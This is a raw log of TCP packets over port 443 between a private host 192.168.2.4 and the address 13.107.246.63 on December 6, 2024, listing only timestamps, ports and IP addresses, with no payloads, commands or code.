Dec 6, 2024 00:17:46.003071070 CET	443	50234	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:46.258953094 CET	443	50230	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:46.259207964 CET	443	50230	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:46.259239912 CET	443	50230	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:46.259258986 CET	50230	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:46.259283066 CET	50230	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:46.259520054 CET	50230	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:46.259536982 CET	443	50230	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:46.266532898 CET	50235	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:46.266556025 CET	443	50235	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:46.266623020 CET	50235	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:46.266817093 CET	50235	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:46.266828060 CET	443	50235	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:46.307466030 CET	443	50232	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:46.307513952 CET	443	50232	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:46.307566881 CET	50232	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:46.307717085 CET	50232	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:46.307730913 CET	443	50232	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:46.307739019 CET	50232	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:46.307744026 CET	443	50232	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:46.310296059 CET	50236	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:46.310326099 CET	443	50236	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:46.310416937 CET	50236	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:46.310568094 CET	50236	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:46.310579062 CET	443	50236	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:46.351310015 CET	443	50231	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:46.351506948 CET	443	50231	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:46.351577997 CET	50231	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:46.351600885 CET	50231	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:46.351610899 CET	443	50231	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:46.351622105 CET	50231	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:46.351625919 CET	443	50231	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:46.353547096 CET	50237	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:46.353574991 CET	443	50237	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:46.353643894 CET	50237	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:46.353780031 CET	50237	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:46.353790998 CET	443	50237	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:47.555696964 CET	443	50233	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:47.556216002 CET	50233	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:47.556237936 CET	443	50233	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:47.556670904 CET	50233	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:47.556675911 CET	443	50233	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:47.738594055 CET	443	50234	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:47.739083052 CET	50234	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:47.739115000 CET	443	50234	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:47.739563942 CET	50234	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:47.739569902 CET	443	50234	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:47.992794991 CET	443	50235	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:47.993237019 CET	50235	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:47.993263006 CET	443	50235	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:47.993693113 CET	50235	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:47.993697882 CET	443	50235	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.000387907 CET	443	50233	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.000410080 CET	443	50233	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.000498056 CET	50233	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.000508070 CET	443	50233	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.000638008 CET	50233	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.000644922 CET	443	50233	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.000655890 CET	50233	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.000744104 CET	443	50233	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.000771046 CET	443	50233	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.000809908 CET	50233	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.003948927 CET	50238	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.003973961 CET	443	50238	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.004041910 CET	50238	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.004199028 CET	50238	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.004210949 CET	443	50238	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.028846025 CET	443	50236	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.029272079 CET	50236	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.029279947 CET	443	50236	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.029706001 CET	50236	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.029710054 CET	443	50236	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.066579103 CET	443	50237	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.066939116 CET	50237	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.066956043 CET	443	50237	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.067342997 CET	50237	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.067347050 CET	443	50237	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.173121929 CET	443	50234	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.173178911 CET	443	50234	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.173258066 CET	50234	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.173396111 CET	50234	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.173413038 CET	443	50234	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.173424006 CET	50234	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.173429012 CET	443	50234	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.176014900 CET	50239	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.176039934 CET	443	50239	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.176120043 CET	50239	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.176245928 CET	50239	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.176256895 CET	443	50239	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.451077938 CET	443	50235	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.451102972 CET	443	50235	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.451174021 CET	50235	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.451189041 CET	443	50235	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.451446056 CET	50235	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.451457977 CET	443	50235	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.451464891 CET	50235	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.451569080 CET	443	50235	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.451595068 CET	443	50235	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.451630116 CET	50235	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.454286098 CET	50240	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.454297066 CET	443	50240	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.454366922 CET	50240	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.454534054 CET	50240	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.454541922 CET	443	50240	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.465991974 CET	443	50236	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.466012001 CET	443	50236	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.466067076 CET	50236	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.466084003 CET	443	50236	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.466303110 CET	50236	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.466315985 CET	443	50236	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.466322899 CET	50236	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.466419935 CET	443	50236	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.466443062 CET	443	50236	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.466476917 CET	50236	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.468153000 CET	50241	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.468168974 CET	443	50241	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.468226910 CET	50241	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.468368053 CET	50241	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.468377113 CET	443	50241	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.502720118 CET	443	50237	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.502738953 CET	443	50237	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.502799034 CET	50237	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.502813101 CET	443	50237	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.503166914 CET	50237	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.503179073 CET	443	50237	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.503185987 CET	50237	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.503281116 CET	443	50237	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.503303051 CET	443	50237	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.503354073 CET	50237	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.506259918 CET	50242	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.506282091 CET	443	50242	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:48.506331921 CET	50242	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.506532907 CET	50242	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:48.506541967 CET	443	50242	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:49.741187096 CET	443	50238	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:49.783473969 CET	50238	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:49.800070047 CET	50238	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:49.800079107 CET	443	50238	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:49.801031113 CET	50238	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:49.801034927 CET	443	50238	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:49.904963970 CET	443	50239	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:49.913999081 CET	50239	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:49.914025068 CET	443	50239	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:49.918304920 CET	50239	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:49.918311119 CET	443	50239	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.174073935 CET	443	50238	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.174098969 CET	443	50238	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.174173117 CET	50238	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.174184084 CET	443	50238	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.177542925 CET	443	50240	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.178828001 CET	443	50238	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.178879976 CET	50238	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.179610968 CET	50238	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.179619074 CET	443	50238	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.179630041 CET	50238	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.179635048 CET	443	50238	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.183499098 CET	443	50241	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.193368912 CET	50240	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.193378925 CET	443	50240	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.194031000 CET	50240	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.194035053 CET	443	50240	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.194395065 CET	50241	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.194406033 CET	443	50241	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.194858074 CET	50241	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.194860935 CET	443	50241	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.202745914 CET	50243	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.202760935 CET	443	50243	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.202824116 CET	50243	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.202985048 CET	50243	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.202994108 CET	443	50243	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.230796099 CET	443	50242	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.231395006 CET	50242	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.231405973 CET	443	50242	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.231796026 CET	50242	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.231798887 CET	443	50242	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.335249901 CET	443	50239	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.335305929 CET	443	50239	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.335352898 CET	50239	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.335720062 CET	50239	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.335728884 CET	443	50239	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.335738897 CET	50239	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.335745096 CET	443	50239	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.340161085 CET	50244	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.340189934 CET	443	50244	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.340245962 CET	50244	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.341170073 CET	50244	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.341181040 CET	443	50244	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.610004902 CET	443	50240	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.610057116 CET	443	50240	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.610160112 CET	50240	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.610551119 CET	50240	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.610558033 CET	443	50240	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.610569000 CET	50240	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.610573053 CET	443	50240	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.613213062 CET	443	50241	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.613264084 CET	443	50241	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.614840984 CET	50241	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.615051985 CET	50245	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.615089893 CET	443	50245	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.615108013 CET	50241	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.615123034 CET	443	50241	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.615133047 CET	50241	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.615138054 CET	443	50241	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.615151882 CET	50245	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.615839958 CET	50245	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.615854979 CET	443	50245	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.618182898 CET	50246	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.618211985 CET	443	50246	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.618815899 CET	50246	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.618930101 CET	50246	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.618941069 CET	443	50246	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.693532944 CET	443	50242	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.696554899 CET	443	50242	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.696605921 CET	50242	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.696666002 CET	50242	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.696675062 CET	443	50242	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.696682930 CET	50242	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.696686983 CET	443	50242	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.699198008 CET	50247	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.699213028 CET	443	50247	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:50.699273109 CET	50247	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.699450970 CET	50247	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:50.699464083 CET	443	50247	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.053185940 CET	443	50243	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.053725004 CET	50243	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.053744078 CET	443	50243	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.054189920 CET	50243	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.054193974 CET	443	50243	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.121412039 CET	443	50244	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.124119997 CET	50244	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.124141932 CET	443	50244	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.124555111 CET	50244	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.124560118 CET	443	50244	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.237322092 CET	443	50245	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.237770081 CET	50245	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.237797022 CET	443	50245	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.238199949 CET	50245	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.238205910 CET	443	50245	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.291389942 CET	443	50246	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.291749001 CET	50246	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.291759968 CET	443	50246	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.292109013 CET	50246	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.292114019 CET	443	50246	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.424923897 CET	443	50247	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.425214052 CET	50247	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.425229073 CET	443	50247	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.425594091 CET	50247	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.425600052 CET	443	50247	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.607295990 CET	443	50243	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.607331991 CET	443	50243	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.607469082 CET	50243	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.607494116 CET	443	50243	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.607542038 CET	50243	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.607733011 CET	50243	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.607738018 CET	443	50243	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.607753992 CET	50243	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.607881069 CET	443	50243	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.607908010 CET	443	50243	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.607949972 CET	50243	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.610315084 CET	50248	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.610347986 CET	443	50248	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.610425949 CET	50248	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.610558987 CET	50248	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.610572100 CET	443	50248	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.624630928 CET	443	50244	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.624651909 CET	443	50244	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.624703884 CET	443	50244	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.624710083 CET	50244	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.624742031 CET	50244	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.624917030 CET	50244	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.624928951 CET	443	50244	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.624939919 CET	50244	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.624943972 CET	443	50244	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.626770973 CET	50249	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.626812935 CET	443	50249	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.626880884 CET	50249	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.627010107 CET	50249	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.627027035 CET	443	50249	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.722069979 CET	443	50245	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.722095966 CET	443	50245	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.722110987 CET	443	50245	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.722153902 CET	50245	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.722172976 CET	443	50245	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.722183943 CET	50245	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.722210884 CET	50245	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.725009918 CET	443	50246	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.725039005 CET	443	50246	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.725183964 CET	50246	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.725193977 CET	443	50246	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.725461006 CET	50246	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.725466013 CET	443	50246	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.725478888 CET	50246	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.725596905 CET	443	50246	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.725620031 CET	443	50246	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.725652933 CET	50246	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.813796997 CET	50250	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.813816071 CET	443	50250	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.813875914 CET	50250	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.815093040 CET	50250	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.815104961 CET	443	50250	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.874046087 CET	443	50245	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.874094963 CET	443	50245	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.874133110 CET	50245	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.874167919 CET	50245	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.887248039 CET	50245	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.887269974 CET	443	50245	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.905729055 CET	443	50247	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.905755997 CET	443	50247	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.905774117 CET	443	50247	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.905813932 CET	50247	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.905824900 CET	443	50247	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.905839920 CET	50247	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.905865908 CET	50247	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.911947012 CET	50251	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.911988974 CET	443	50251	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:52.912043095 CET	50251	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.912408113 CET	50251	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:52.912425041 CET	443	50251	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:53.083381891 CET	443	50247	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:53.083420992 CET	443	50247	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:53.083439112 CET	443	50247	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:53.083453894 CET	50247	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:53.083494902 CET	50247	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:53.085616112 CET	50247	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:53.085625887 CET	443	50247	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:53.085634947 CET	50247	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:53.085639954 CET	443	50247	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:53.189043045 CET	50252	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:53.189066887 CET	443	50252	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:53.189129114 CET	50252	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:53.189569950 CET	50252	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:53.189579964 CET	443	50252	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:54.322211027 CET	443	50248	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:54.322725058 CET	50248	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:54.322742939 CET	443	50248	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:54.323214054 CET	50248	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:54.323219061 CET	443	50248	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:54.375380039 CET	443	50249	13.107.246.63	192.168.2.4
Dec 6, 2024 00:17:54.375806093 CET	50249	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:17:54.375829935 CET	443	50249	13.107.246.63	192.168.2.4
